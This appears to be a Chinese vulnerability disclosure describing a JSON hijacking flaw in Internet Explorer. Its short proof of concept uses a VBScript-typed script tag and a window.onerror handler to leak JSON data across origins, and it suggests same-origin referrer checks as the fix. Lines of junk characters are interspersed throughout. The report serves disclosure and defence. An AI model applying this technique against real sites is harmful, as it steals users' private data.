IE通用JSON劫持漏洞

admin

简要描述：
, p$ Y- L. ]0 q
* _/ `$ ]# k( z由于某些资源容器对数据处理不当导致json劫持漏洞.
0 _: z; h( U& N& O- x" v详细说明：
, e$ U4 y8 z) v: X由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>

2 m8 R2 K: ~" l: x) b- s当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
% j! e) f" a$ Y<script>
window.onerror=function(_){
alert(_)
}
</script>
<script language=vbscript src=1.json></script>

) Z* o% ^+ u  |' l- N% M
1.json:
$ w$ {3 P. K7 m" d" x% S[{"name":"sogili","age":19}]
修复方案：
' m/ {& ~2 ]! d+ y& m  G) e9 ?网站业务对于这个问题可以通过验证referrer是否为同源来防御